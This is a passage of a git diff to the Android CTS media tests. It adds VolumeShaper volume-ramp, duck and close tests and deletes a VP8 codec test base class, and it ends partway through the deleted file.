+    public void testPlayerCubicMonotonic() throws Exception {
+        final String TEST_NAME = "testPlayerCubicMonotonic";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final VolumeShaper.Configuration configurations[] =
+                new VolumeShaper.Configuration[] {
+                MONOTONIC_TEST,
+                CUBIC_RAMP,
+                SCURVE_RAMP,
+                SINE_RAMP,
+        };
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            try (   Player player = createPlayer(p);
+                    VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
+                    ) {
+                final String testName = TEST_NAME + " " + player.name();
+                volumeShaper.apply(VolumeShaper.Operation.PLAY);
+                player.start();
+                Thread.sleep(WARMUP_TIME_MS);
+
+                for (VolumeShaper.Configuration configuration : configurations) {
+                    // test configurations known monotonic
+                    Log.d(TAG, testName + " starting test");
+
+                    float lastVolume = 0;
+                    final long incrementMs = 100;
+
+                    volumeShaper.replace(configuration,
+                            VolumeShaper.Operation.PLAY, true /* join */);
+                    // monotonicity test
+                    for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
+                        final float volume = volumeShaper.getVolume();
+                        assertTrue(testName + " montonic volume should increase "
+                                + volume + " >= " + lastVolume,
+                                (volume >= lastVolume));
+                        lastVolume = volume;
+                        Thread.sleep(incrementMs);
+                    }
+                    Thread.sleep(WARMUP_TIME_MS);
+                    lastVolume = volumeShaper.getVolume();
+                    assertEquals(testName
+                            + " final monotonic value should be 1.f, but is " + lastVolume,
+                            1.f, lastVolume, VOLUME_TOLERANCE);
+
+                    Log.d(TAG, "invert");
+                    // invert
+                    VolumeShaper.Configuration newConfiguration =
+                            new VolumeShaper.Configuration.Builder(configuration)
+                    .invertVolumes()
+                    .build();
+                    volumeShaper.replace(newConfiguration,
+                            VolumeShaper.Operation.PLAY, true /* join */);
+                    // monotonicity test
+                    for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
+                        final float volume = volumeShaper.getVolume();
+                        assertTrue(testName + " montonic volume should decrease "
+                                + volume + " <= " + lastVolume,
+                                (volume <= lastVolume));
+                        lastVolume = volume;
+                        Thread.sleep(incrementMs);
+                    }
+                    Thread.sleep(WARMUP_TIME_MS);
+                    lastVolume = volumeShaper.getVolume();
+                    assertEquals(testName
+                            + " final monotonic value should be 0.f, but is " + lastVolume,
+                            0.f, lastVolume, VOLUME_TOLERANCE);
+
+                    // invert + reflect
+                    Log.d(TAG, "invert and reflect");
+                    newConfiguration =
+                            new VolumeShaper.Configuration.Builder(configuration)
+                    .invertVolumes()
+                    .reflectTimes()
+                    .build();
+                    volumeShaper.replace(newConfiguration,
+                            VolumeShaper.Operation.PLAY, true /* join */);
+                    // monotonicity test
+                    for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
+                        final float volume = volumeShaper.getVolume();
+                        assertTrue(testName + " montonic volume should increase "
+                                + volume + " >= " + lastVolume,
+                                (volume >= lastVolume - VOLUME_TOLERANCE));
+                        lastVolume = volume;
+                        Thread.sleep(incrementMs);
+                    }
+                    Thread.sleep(WARMUP_TIME_MS);
+                    lastVolume = volumeShaper.getVolume();
+                    assertEquals(testName
+                            + " final monotonic value should be 1.f, but is " + lastVolume,
+                            1.f, lastVolume, VOLUME_TOLERANCE);
+
+                    // reflect
+                    Log.d(TAG, "reflect");
+                    newConfiguration =
+                            new VolumeShaper.Configuration.Builder(configuration)
+                    .reflectTimes()
+                    .build();
+                    volumeShaper.replace(newConfiguration,
+                            VolumeShaper.Operation.PLAY, true /* join */);
+                    // monotonicity test
+                    for (long i = 0; i < RAMP_TIME_MS; i += incrementMs) {
+                        final float volume = volumeShaper.getVolume();
+                        assertTrue(testName + " montonic volume should decrease "
+                                + volume + " <= " + lastVolume,
+                                (volume <= lastVolume));
+                        lastVolume = volume;
+                        Thread.sleep(incrementMs);
+                    }
+                    Thread.sleep(WARMUP_TIME_MS);
+                    lastVolume = volumeShaper.getVolume();
+                    assertEquals(testName
+                            + " final monotonic value should be 0.f, but is " + lastVolume,
+                            0.f, lastVolume, VOLUME_TOLERANCE);
+                }
+            }
+        }
+    } // testPlayerCubicMonotonic
+
+    @LargeTest
+    public void testPlayerTwoShapers() throws Exception {
+        final String TEST_NAME = "testPlayerTwoShapers";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final long durationMs = 10000;
+
+        // Ramp configurations go from 0.f up to 1.f, Duck from 1.f to 0.f
+        // With the two ramps combined, the audio should rise and then fall.
+        final VolumeShaper.Configuration LONG_RAMP =
+                new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.LINEAR_RAMP)
+                    .setDuration(durationMs)
+                    .build();
+        final VolumeShaper.Configuration LONG_DUCK =
+                new VolumeShaper.Configuration.Builder(LONG_RAMP)
+                    .reflectTimes()
+                    .build();
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            try (   Player player = createPlayer(p);
+                    VolumeShaper volumeShaperRamp = player.createVolumeShaper(LONG_RAMP);
+                    VolumeShaper volumeShaperDuck = player.createVolumeShaper(LONG_DUCK);
+                    ) {
+                final String testName = TEST_NAME + " " + player.name();
+
+                final float firstVolumeRamp = volumeShaperRamp.getVolume();
+                final float firstVolumeDuck = volumeShaperDuck.getVolume();
+                assertEquals(testName
+                        + " first ramp value should be 0.f, but is " + firstVolumeRamp,
+                        0.f, firstVolumeRamp, VOLUME_TOLERANCE);
+                assertEquals(testName
+                        + " first duck value should be 1.f, but is " + firstVolumeDuck,
+                        1.f, firstVolumeDuck, VOLUME_TOLERANCE);
+                player.start();
+
+                Thread.sleep(1000);
+
+                final float lastVolumeRamp = volumeShaperRamp.getVolume();
+                final float lastVolumeDuck = volumeShaperDuck.getVolume();
+                assertEquals(testName
+                        + " no-play ramp value should be 0.f, but is " + lastVolumeRamp,
+                        0.f, lastVolumeRamp, VOLUME_TOLERANCE);
+                assertEquals(testName
+                        + " no-play duck value should be 1.f, but is " + lastVolumeDuck,
+                        1.f, lastVolumeDuck, VOLUME_TOLERANCE);
+
+                Log.d(TAG, testName + " volume should be silent and start increasing now");
+
+                // we actually start now!
+                volumeShaperRamp.apply(VolumeShaper.Operation.PLAY);
+                volumeShaperDuck.apply(VolumeShaper.Operation.PLAY);
+                Thread.sleep(durationMs / 2);
+
+                Log.d(TAG, testName + " volume should be > 0 and about maximum here");
+                final float lastVolumeRamp2 = volumeShaperRamp.getVolume();
+                final float lastVolumeDuck2 = volumeShaperDuck.getVolume();
+                assertTrue(testName
+                        + " last ramp value should be > 0.f " + lastVolumeRamp2,
+                        lastVolumeRamp2 > 0.f);
+                assertTrue(testName
+                        + " last duck value should be < 1.f " + lastVolumeDuck2,
+                        lastVolumeDuck2 < 1.f);
+
+                Log.d(TAG, testName + " volume should start decreasing shortly");
+                Thread.sleep(durationMs / 2 + 1000);
+
+                Log.d(TAG, testName + " volume should be silent now");
+                final float lastVolumeRamp3 = volumeShaperRamp.getVolume();
+                final float lastVolumeDuck3 = volumeShaperDuck.getVolume();
+                assertEquals(testName
+                        + " last ramp value should be 1.f, but is " + lastVolumeRamp3,
+                        1.f, lastVolumeRamp3, VOLUME_TOLERANCE);
+                assertEquals(testName
+                        + " last duck value should be 0.f, but is " + lastVolumeDuck3,
+                        0.f, lastVolumeDuck3, VOLUME_TOLERANCE);
+
+                runCloseTest(testName, volumeShaperRamp);
+                runCloseTest(testName, volumeShaperDuck);
+            }
+        }
+    } // testPlayerTwoShapers
+
+    // tests that shaper advances in the presence of pause and stop (time based after start).
+    @LargeTest
+    public void testPlayerRunDuringPauseStop() throws Exception {
+        final String TEST_NAME = "testPlayerRunDuringPauseStop";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final VolumeShaper.Configuration config = LINEAR_RAMP;
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            for (int pause = 0; pause < 2; ++pause) {
+
+                if ((p == PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED
+                        || p == PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED) && pause == 0) {
+                    // Do not test stop and MediaPlayer because a
+                    // MediaPlayer stop requires prepare before starting.
+                    continue;
+                }
+
+                try (   Player player = createPlayer(p);
+                        VolumeShaper volumeShaper = player.createVolumeShaper(config);
+                        ) {
+                    final String testName = TEST_NAME + " " + player.name();
+
+                    Log.d(TAG, testName + " starting volume, should ramp up");
+                    volumeShaper.apply(VolumeShaper.Operation.PLAY);
+                    assertEquals(testName + " volume should be 0.f",
+                            0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+                    player.start();
+                    Thread.sleep(WARMUP_TIME_MS);
+
+                    Log.d(TAG, testName + " applying " + (pause != 0 ? "pause" : "stop"));
+                    if (pause == 1) {
+                        player.pause();
+                    } else {
+                        player.stop();
+                    }
+                    Thread.sleep(RAMP_TIME_MS);
+
+                    Log.d(TAG, testName + " starting again");
+                    player.start();
+                    Thread.sleep(WARMUP_TIME_MS * 2);
+
+                    Log.d(TAG, testName + " should be full volume");
+                    assertEquals(testName + " volume should be 1.f",
+                            1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+                }
+            }
+        }
+    } // testPlayerRunDuringPauseStop
+
+    // Player should be started before calling (as it is not an argument to method).
+    private void runRampTest(String testName, VolumeShaper volumeShaper) throws Exception {
+        for (VolumeShaper.Configuration config : ALL_STANDARD_RAMPS) {
+            // This replaces with play.
+            Log.d(TAG, testName + " Replace + Play (volume should increase)");
+            volumeShaper.replace(config, VolumeShaper.Operation.PLAY, false /* join */);
+            Thread.sleep(RAMP_TIME_MS / 2);
+
+            // Reverse the direction of the volume shaper curve
+            Log.d(TAG, testName + " Reverse (volume should decrease)");
+            volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+            Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+
+            Log.d(TAG, testName + " Check Volume (silent)");
+            assertEquals(testName + " volume should be 0.f",
+                    0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+            // Forwards
+            Log.d(TAG, testName + " Play (volume should increase)");
+            volumeShaper.apply(VolumeShaper.Operation.PLAY);
+            Thread.sleep(RAMP_TIME_MS + 1000);
+
+            Log.d(TAG, testName + " Check Volume (volume at max)");
+            assertEquals(testName + " volume should be 1.f",
+                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+            // Reverse
+            Log.d(TAG, testName + " Reverse (volume should decrease)");
+            volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+            Thread.sleep(RAMP_TIME_MS + 1000);
+
+            Log.d(TAG, testName + " Check Volume (volume should be silent)");
+            assertEquals(testName + " volume should be 0.f",
+                    0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+            // Forwards
+            Log.d(TAG, testName + " Play (volume should increase)");
+            volumeShaper.apply(VolumeShaper.Operation.PLAY);
+            Thread.sleep(RAMP_TIME_MS + 1000);
+
+            // Comment out for headset plug/unplug test
+            // Log.d(TAG, testName + " headset check"); Thread.sleep(10000 /* millis */);
+            //
+
+            Log.d(TAG, testName + " Check Volume (volume at max)");
+            assertEquals(testName + " volume should be 1.f",
+                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+            Log.d(TAG, testName + " done");
+        }
+    } // runRampTest
+
+    // Player should be started before calling (as it is not an argument to method).
+    private void runDuckTest(String testName, VolumeShaper volumeShaper) throws Exception {
+        final VolumeShaper.Configuration[] configs = new VolumeShaper.Configuration[] {
+                LINEAR_DUCK,
+        };
+
+        for (VolumeShaper.Configuration config : configs) {
+            Log.d(TAG, testName + " Replace + Reverse (volume at max)");
+            // CORNER CASE: When you replace with REVERSE, it stays at the initial point.
+            volumeShaper.replace(config, VolumeShaper.Operation.REVERSE, false /* join */);
+            Thread.sleep(RAMP_TIME_MS / 2);
+            assertEquals(testName + " volume should be 1.f",
+                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+            // CORNER CASE: reverse twice doesn't do anything.
+            Thread.sleep(RAMP_TIME_MS / 2);
+            Log.d(TAG, testName + " Reverse after reverse (volume at max)");
+            volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+            assertEquals(testName + " volume should be 1.f",
+                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+            Log.d(TAG, testName + " Duck from start (volume should decrease)");
+            volumeShaper.apply(VolumeShaper.Operation.PLAY);
+            Thread.sleep(RAMP_TIME_MS * 2);
+
+            Log.d(TAG, testName + " Duck done (volume should be low, 0.2f)");
+            assertEquals(testName + " volume should be 0.2f",
+                    0.2f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+            Log.d(TAG, testName + " Unduck (volume should increase)");
+            volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+            Thread.sleep(RAMP_TIME_MS * 2);
+
+            // Comment out for headset plug/unplug test
+            // Log.d(TAG, testName + " headset check"); Thread.sleep(10000 /* millis */);
+            //
+            Log.d(TAG, testName + " Unduck done (volume at max)");
+            assertEquals(testName + " volume should be 1.f",
+                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+        }
+    } // runDuckTest
+
+    // VolumeShaper should not be started prior to this test; it is replaced
+    // in this test.
+    private void runRampCornerCaseTest(
+            String testName, VolumeShaper volumeShaper, VolumeShaper.Configuration config)
+                    throws Exception {
+        // ramps start at 0.f
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        Log.d(TAG, testName + " Reverse at start (quiet now)");
+        // CORNER CASE: When you begin with REVERSE, it stays at the initial point.
+        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+        Thread.sleep(RAMP_TIME_MS / 2);
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        // CORNER CASE: reverse twice doesn't do anything.
+        Thread.sleep(RAMP_TIME_MS / 2);
+        Log.d(TAG, testName + " Reverse after reverse (still quiet)");
+        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        Log.d(TAG, testName + " Ramp from start (volume should increase)");
+        volumeShaper.apply(VolumeShaper.Operation.PLAY);
+        Thread.sleep(RAMP_TIME_MS * 2);
+
+        Log.d(TAG, testName + " Volume persists at maximum 1.f");
+        assertEquals(testName + " volume should be 1.f",
+                1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        Log.d(TAG, testName + " Reverse ramp (volume should decrease)");
+        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+        Thread.sleep(RAMP_TIME_MS / 2);
+
+        // join in REVERSE should freeze
+        final float volume = volumeShaper.getVolume();
+        Log.d(TAG, testName + " Replace ramp with join in REVERSE (volume steady)");
+        volumeShaper.replace(config, VolumeShaper.Operation.REVERSE, true /* join */);
+
+        Thread.sleep(RAMP_TIME_MS / 2);
+        // Are we frozen?
+        final float volume2 = volumeShaper.getVolume();
+        assertEquals(testName + " volume should be the same (volume steady)",
+                volume, volume2, JOIN_VOLUME_TOLERANCE);
+
+        // Begin playing
+        Log.d(TAG, testName + " Play joined ramp (volume should increase)");
+        volumeShaper.apply(VolumeShaper.Operation.PLAY);
+        Thread.sleep(RAMP_TIME_MS * 2);
+
+        // Reverse to get back to start of the joined curve.
+        Log.d(TAG, testName + " Reverse joined ramp (volume should decrease)");
+        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+        Thread.sleep(RAMP_TIME_MS * 2);
+
+        // At this time, we are back to the join point.
+        // We check now that the scaling for the join is permanent.
+        Log.d(TAG, testName + " Joined ramp at start (volume same as at join)");
+        final float volume3 = volumeShaper.getVolume();
+        assertEquals(testName + " volume should be same as start for joined ramp",
+                volume2, volume3, JOIN_VOLUME_TOLERANCE);
+    } // runRampCornerCaseTest
+
+    // volumeShaper is closed in this test.
+    private void runCloseTest(String testName, VolumeShaper volumeShaper) throws Exception {
+        Log.d(TAG, testName + " closing");
+        volumeShaper.close();
+        runCloseTest2(testName, volumeShaper);
+    } // runCloseTest
+
+    // VolumeShaper should be closed prior to this test.
+    private void runCloseTest2(String testName, VolumeShaper volumeShaper) throws Exception {
+        // CORNER CASE:
+        // VolumeShaper methods should throw ISE after closing.
+        Log.d(TAG, testName + " getVolume() after close should throw ISE");
+        assertThrows(IllegalStateException.class,
+                volumeShaper::getVolume);
+
+        Log.d(TAG, testName + " apply() after close should throw ISE");
+        assertThrows(IllegalStateException.class,
+                ()->{ volumeShaper.apply(VolumeShaper.Operation.REVERSE); });
+
+        Log.d(TAG, testName + " replace() after close should throw ISE");
+        assertThrows(IllegalStateException.class,
+                ()->{ volumeShaper.replace(
+                        LINEAR_RAMP, VolumeShaper.Operation.PLAY, false /* join */); });
+
+        Log.d(TAG, testName + " closing x2 is OK");
+        volumeShaper.close(); // OK to close twice.
+        Log.d(TAG, testName + " closing x3 is OK");
+        volumeShaper.close(); // OK to close thrice.
+    } // runCloseTest2
+
+    // Player should not be started prior to calling (it is started in this test)
+    // VolumeShaper should not be started prior to calling (it is not started in this test).
+    private void runStartIdleTest(String testName, VolumeShaper volumeShaper, Player player)
+            throws Exception {
+        Log.d(TAG, testName + " volume after creation or pause doesn't advance (silent now)");
+        // CORNER CASE:
+        // volumeShaper volume after creation or pause doesn't advance.
+        Thread.sleep(WARMUP_TIME_MS);
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        player.start();
+        Thread.sleep(WARMUP_TIME_MS);
+
+        Log.d(TAG, testName + " volume after player start doesn't advance if play isn't called."
+                + " (still silent)");
+        // CORNER CASE:
+        // volumeShaper volume after creation doesn't or pause doesn't advance even
+        // after the player starts.
+        Thread.sleep(WARMUP_TIME_MS);
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+    } // runStartIdleTest
+
+    // Player should not be running prior to calling (it is started in this test).
+    // VolumeShaper is also started in this test.
+    private void runStartSyncTest(String testName, VolumeShaper volumeShaper, Player player)
+            throws Exception {
+        Log.d(TAG, testName + " volume after creation or pause doesn't advance "
+                + "if player isn't started. (silent now)");
+        volumeShaper.apply(VolumeShaper.Operation.PLAY);
+        // CORNER CASE:
+        // volumeShaper volume after creation or pause doesn't advance
+        // even after play is called.
+        Thread.sleep(WARMUP_TIME_MS);
+        assertEquals(testName + " volume should be 0.f",
+                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
+
+        Log.d(TAG, testName + " starting now (volume should increase)");
+        player.start();
+        Thread.sleep(WARMUP_TIME_MS);
+
+        Log.d(TAG, testName + " volume after player start advances if play is called.");
+        // CORNER CASE:
+        // Now volume should have advanced since play is called.
+        Thread.sleep(WARMUP_TIME_MS);
+        assertTrue(testName + " volume should be greater than 0.f",
+                volumeShaper.getVolume() > 0.f);
+    } // runStartSyncTest
+}
diff --git a/tests/tests/media/src/android/media/cts/Vp8CodecTestBase.java b/tests/tests/media/src/android/media/cts/Vp8CodecTestBase.java
deleted file mode 100644
index 0395ec7..0000000
--- a/tests/tests/media/src/android/media/cts/Vp8CodecTestBase.java
+++ /dev/null
@@ -1,2000 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.content.res.Resources;
-import android.media.MediaCodec;
-import android.media.MediaCodec.CodecException;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaCodecInfo;
-import android.media.MediaFormat;
-import android.os.Bundle;
-import android.os.Environment;
-import android.os.Looper;
-import android.os.Handler;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.media.cts.R;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.InputStream;
-import java.nio.ByteBuffer;
-import java.util.Locale;
-import java.util.ArrayList;
-import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Verification test for vp8 encoder and decoder.
- *
- * A raw yv12 stream is encoded at various settings and written to an IVF
- * file. Encoded stream bitrate and key frame interval are checked against target values.
- * The stream is later decoded by vp8 decoder to verify frames are decodable and to
- * calculate PSNR values for various bitrates.
- */
-public class Vp8CodecTestBase extends AndroidTestCase {
-
-    protected static final String TAG = "VP8CodecTestBase";
-    protected static final String VP8_MIME = MediaFormat.MIMETYPE_VIDEO_VP8;
-    private static final String GOOGLE_CODEC_PREFIX = "omx.google.";
-    protected static final String SDCARD_DIR =
-            Environment.getExternalStorageDirectory().getAbsolutePath();
-
-    // Default timeout for MediaCodec buffer dequeue - 200 ms.
-    protected static final long DEFAULT_DEQUEUE_TIMEOUT_US = 200000;
-    // Default timeout for MediaEncoderAsync - 30 sec.
-    protected static final long DEFAULT_ENCODE_TIMEOUT_MS = 30000;
-    // Default sync frame interval in frames (zero means allow the encoder to auto-select
-    // key frame interval).
-    private static final int SYNC_FRAME_INTERVAL = 0;
-    // Video bitrate type - should be set to OMX_Video_ControlRateConstant from OMX_Video.h
-    protected static final int VIDEO_ControlRateVariable = 1;
-    protected static final int VIDEO_ControlRateConstant = 2;
-    // NV12 color format supported by QCOM codec, but not declared in MediaCodec -
-    // see /hardware/qcom/media/mm-core/inc/OMX_QCOMExtns.h
-    private static final int COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m = 0x7FA30C04;
-    // Allowable color formats supported by codec - in order of preference.
-    private static final int[] mSupportedColorList = {
-            CodecCapabilities.COLOR_FormatYUV420Planar,
-            CodecCapabilities.COLOR_FormatYUV420SemiPlanar,
-            CodecCapabilities.COLOR_QCOM_FormatYUV420SemiPlanar,
-            COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m
-    };
-    // Scaled image cache list - contains scale factors, for which up-scaled frames
-    // were calculated and were written to yuv file.
-    ArrayList<Integer> mScaledImages = new ArrayList<Integer>();
-
-    private Resources mResources;
-
-    @Override
-    public void setContext(Context context) {
-        super.setContext(context);
-        mResources = mContext.getResources();
-    }
-
-    /**
-     *  VP8 codec properties generated by getVp8CodecProperties() function.
-     */
-    private class CodecProperties {
-        CodecProperties(String codecName, int colorFormat) {
-            this.codecName = codecName;
-            this.colorFormat = colorFormat;
-        }
-        public boolean  isGoogleCodec() {
-            return codecName.toLowerCase().startsWith(GOOGLE_CODEC_PREFIX);
-        }
-
-        public final String codecName; // OpenMax component name for VP8 codec.
-        public final int colorFormat;  // Color format supported by codec.
-    }
-
-    /**
-     * Function to find VP8 codec.
-     *
-     * Iterates through the list of available codecs and tries to find
-     * VPX codec, which can support either YUV420 planar or NV12 color formats.
-     * If forceGoogleCodec parameter set to true the function always returns
-     * Google VPX codec.
-     * If forceGoogleCodec parameter set to false the functions looks for platform
-     * specific VPX codec first. If no platform specific codec exist, falls back to
-     * Google VPX codec.
-     *
-     * @param isEncoder     Flag if encoder is requested.
-     * @param forceGoogleCodec  Forces to use Google codec.
-     */
-    private CodecProperties getVpxCodecProperties(
-            boolean isEncoder,
-            MediaFormat format,
-            boolean forceGoogleCodec) throws Exception {
-        CodecProperties codecProperties = null;
-        String mime = format.getString(MediaFormat.KEY_MIME);
-
-        // Loop through the list of omx components in case platform specific codec
-        // is requested.
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
-            if (isEncoder != codecInfo.isEncoder()) {
-                continue;
-            }
-            Log.v(TAG, codecInfo.getName());
-            // TODO: remove dependence of Google from the test
-            // Check if this is Google codec - we should ignore it.
-            boolean isGoogleCodec =
-                codecInfo.getName().toLowerCase().startsWith(GOOGLE_CODEC_PREFIX);
-            if (!isGoogleCodec && forceGoogleCodec) {
-                continue;
-            }
-
-            for (String type : codecInfo.getSupportedTypes()) {
-                if (!type.equalsIgnoreCase(mime)) {
-                    continue;
-                }
-                CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(type);
-                if (!capabilities.isFormatSupported(format)) {
-                    continue;
-                }
-
-                // Get candidate codec properties.
-                Log.v(TAG, "Found candidate codec " + codecInfo.getName());
-                for (int colorFormat: capabilities.colorFormats) {
-                    Log.v(TAG, "   Color: 0x" + Integer.toHexString(colorFormat));
-                }
-
-                // Check supported color formats.
-                for (int supportedColorFormat : mSupportedColorList) {
-                    for (int codecColorFormat : capabilities.colorFormats) {
-                        if (codecColorFormat == supportedColorFormat) {
-                            codecProperties = new CodecProperties(codecInfo.getName(),
-                                    codecColorFormat);
-                            Log.v(TAG, "Found target codec " + codecProperties.codecName +
-                                    ". Color: 0x" + Integer.toHexString(codecColorFormat));
-                            // return first HW codec found
-                            if (!isGoogleCodec) {
-                                return codecProperties;
-                            }
-                        }
-                    }
-                }
-            }
-        }
-        if (codecProperties == null) {
-            Log.i(TAG, "no suitable " + (forceGoogleCodec ? "google " : "")
-                    + (isEncoder ? "encoder " : "decoder ") + "found for " + format);
-        }
-        return codecProperties;
-    }
-
-    /**
-     * Parameters for encoded video stream.
-     */
-    protected class EncoderOutputStreamParameters {
-        // Name of raw YUV420 input file. When the value of this parameter
-        // is set to null input file descriptor from inputResourceId parameter
-        // is used instead.
-        public String inputYuvFilename;
-        // Name of scaled YUV420 input file.
-        public String scaledYuvFilename;
-        // File descriptor for the raw input file (YUV420). Used only if
-        // inputYuvFilename parameter is null.
-        int inputResourceId;
-        // Name of the IVF file to write encoded bitsream
-        public String outputIvfFilename;
-        // Force to use Google VP8 encoder.
-        boolean forceGoogleEncoder;
-        // Number of frames to encode.
-        int frameCount;
-        // Frame rate of input file in frames per second.
-        int frameRate;
-        // Encoded frame width.
-        public int frameWidth;
-        // Encoded frame height.
-        public int frameHeight;
-        // Encoding bitrate array in bits/second for every frame. If array length
-        // is shorter than the total number of frames, the last value is re-used for
-        // all remaining frames. For constant bitrate encoding single element
-        // array can be used with first element set to target bitrate value.
-        public int[] bitrateSet;
-        // Encoding bitrate type - VBR or CBR
-        public int bitrateType;
-        // Number of temporal layers
-        public int temporalLayers;
-        // Desired key frame interval - codec is asked to generate key frames
-        // at a period defined by this parameter.
-        public int syncFrameInterval;
-        // Optional parameter - forced key frame interval. Used to
-        // explicitly request the codec to generate key frames using
-        // MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME parameter.
-        public int syncForceFrameInterval;
-        // Buffer timeout
-        long timeoutDequeue;
-        // Flag if encoder should run in Looper thread.
-        boolean runInLooperThread;
-    }
-
-    /**
-     * Generates an array of default parameters for encoder output stream based on
-     * upscaling value.
-     */
-    protected ArrayList<EncoderOutputStreamParameters> getDefaultEncodingParameterList(
-            String inputYuvName,
-            String outputIvfBaseName,
-            int encodeSeconds,
-            int[] resolutionScales,
-            int frameWidth,
-            int frameHeight,
-            int frameRate,
-            int bitrateMode,
-            int[] bitrates,
-            boolean syncEncoding) {
-        assertTrue(resolutionScales.length == bitrates.length);
-        int numCodecs = resolutionScales.length;
-        ArrayList<EncoderOutputStreamParameters> outputParameters =
-                new ArrayList<EncoderOutputStreamParameters>(numCodecs);
-        for (int i = 0; i < numCodecs; i++) {
-            EncoderOutputStreamParameters params = new EncoderOutputStreamParameters();
-            if (inputYuvName != null) {
-                params.inputYuvFilename = SDCARD_DIR + File.separator + inputYuvName;
-            } else {
-                params.inputYuvFilename = null;
-            }
-            params.scaledYuvFilename = SDCARD_DIR + File.separator +
-                    outputIvfBaseName + resolutionScales[i]+ ".yuv";
-            params.inputResourceId = R.raw.football_qvga;
-            params.outputIvfFilename = SDCARD_DIR + File.separator +
-                    outputIvfBaseName + resolutionScales[i] + ".ivf";
-            params.forceGoogleEncoder = false;
-            params.frameCount = encodeSeconds * frameRate;
-            params.frameRate = frameRate;
-            params.frameWidth = Math.min(frameWidth * resolutionScales[i], 1280);
-            params.frameHeight = Math.min(frameHeight * resolutionScales[i], 720);
-            params.bitrateSet = new int[1];
-            params.bitrateSet[0] = bitrates[i];
-            params.bitrateType = bitrateMode;
-            params.temporalLayers = 0;
-            params.syncFrameInterval = SYNC_FRAME_INTERVAL;
-            params.syncForceFrameInterval = 0;
-            if (syncEncoding) {
-                params.timeoutDequeue = DEFAULT_DEQUEUE_TIMEOUT_US;
-                params.runInLooperThread = false;
-            } else {
-                params.timeoutDequeue = 0;
-                params.runInLooperThread = true;
-            }
-            outputParameters.add(params);
-        }
-        return outputParameters;
-    }
-
-    protected EncoderOutputStreamParameters getDefaultEncodingParameters(
-            String inputYuvName,
-            String outputIvfBaseName,
-            int encodeSeconds,
-            int frameWidth,
-            int frameHeight,
-            int frameRate,
-            int bitrateMode,
-            int bitrate,
-            boolean syncEncoding) {
-        int[] scaleValues = { 1 };
-        int[] bitrates = { bitrate };
-        return getDefaultEncodingParameterList(
-                inputYuvName,
-                outputIvfBaseName,
-                encodeSeconds,
-                scaleValues,
-                frameWidth,
-                frameHeight,
-                frameRate,
-                bitrateMode,
-                bitrates,
-                syncEncoding).get(0);
-    }
-
-    /**
-     * Converts (interleaves) YUV420 planar to NV12.
-     * Assumes packed, macroblock-aligned frame with no cropping
-     * (visible/coded row length == stride).
